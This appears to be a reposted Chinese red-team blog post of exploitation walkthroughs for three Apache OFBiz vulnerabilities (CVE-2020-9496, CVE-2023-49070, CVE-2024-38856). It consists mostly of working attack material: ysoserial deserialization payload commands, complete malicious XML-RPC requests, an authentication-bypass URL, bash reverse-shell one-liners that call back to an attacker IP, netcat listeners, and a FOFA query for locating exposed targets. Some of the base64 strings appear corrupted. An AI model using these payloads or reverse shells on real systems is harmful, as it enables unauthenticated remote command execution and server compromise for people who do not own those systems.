Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)
1、漏洞概述
Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,攻击者利用这个漏洞可以在目标服务器上执行任意命令。
2、影响版本
Apache Ofbiz:< 17.12.04
3、漏洞详情
XML-RPC是一种远程过程调用(RPC)协议,它使用XML对其调用进行编码,并使用HTTP作为传输机制。通过Internet进行过程调用。在XML-RPC中,客户端通过向实现XML-RPC并接收HTTP响应的服务器发送HTTP请求来执行RPC。
4、漏洞复现
1、配置java环境
下载JDK
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html
创建文件夹,并将下载好的jdk8进行解压
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
在/etc/profile中添加环境变量
export JAVA_HOME=/opt/java/ jdk1.8.0_141
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
生效
source /etc/profile
查看Java版本
java -version
我这里直接使用kali 作为攻击机
2、配置Maven
下载mvn
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
创建文件夹,并将下载好的mvn进行解压
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
在/etc/profile中添加环境变量
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
生效
source /etc/profile
查看mvn版本
mvn -version
3、payload
下载java反序列化利用工具ysoserial
git clone https://github.com/frohoff/ysoserial.git
使用mvn下载编译 mvn clean package -DskipTests
下载ysoserial完成后 在其目录可以看到有一个target目录,进入此目录
使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/awesome_poc" | base64 | tr -d "n"
将base64后的payload替换并发送如下数据包:该数据包在GitHub上进行下载
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
利用bash命令反弹shell
bash -i >& /dev/tcp/kali的IP/1234 0>&1
先将反弹shell命令进行base64 编码
使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3R45jcC8xOTIuMTY4LjExMS4xNDYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" | base64 | tr -d "n"
将得到的payload进行替换
POST /webtools/control/xmlrpc HTTP/1.1
Host:your-ip
Cookie: OFBiz.Visitor=10103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 2401
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[Base64 Payload Here]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
kali开启监听,拿到webshell
nc -lvvp 1234
Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)
1、漏洞概述
在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞,修复方法存在绕过问题(CVE-2023-49070),攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。但直至18.12.10正式发布才废除XML-RPC接口。
2、影响版本
Apache OFBiz < 18.12.10
3、漏洞复现
在vulhub 上进行复现
访问https://your-ip:8443/accounting
查看到登录页面,说明环境已启动成功
漏洞复现方式与CVE-2020-9496相似,只是需要绕过官方对于漏洞的补丁限制。
依然使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/awesome_poc" | base64 | tr -d "n"
注意这里要将请求的URL换成/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host:your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
执行反弹shell与CVE-2020-9496一致
bash -i >& /dev/tcp/kali-ip/2222 0>&1
使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L345RjcC8xOTIuMTY4LjExMS4xNDYvMjIyMiAwPiYx}|{base64,-d}|{bash,-i}" | base64 | tr -d "n"
替换payload
kali开启监听
Apache OFBiz 代码执行漏洞(CVE-2024-38856)
1、漏洞概述
Apache OFBiz 授权不当致代码执行漏洞(CVE-2024-38856)。该漏洞允许未经身份验证的远程攻击者通过特定的URL绕过安全检测机制执行恶意代码。攻击者可能利用该漏洞来执行恶意操作,包括但不限于获取敏感信息、修改数据或执行系统命令,最终可导致服务器失陷。
2、影响版本
Apache OFBiz <= 18.12.14
3、漏洞复现
FOFA:app=“Apache_OFBiz”
这里使用CVE-2023-49070的漏洞版本进行复现
访问/webtools/control/main/ProgramExport,
1、burp抓包
2、修改GET为POST
3、添加Content-Type: application/x-www-form-urlencod
4、添加请求体内容,将内容转换ASCII
查看响应内容
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):Apache Ofbiz漏洞合集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论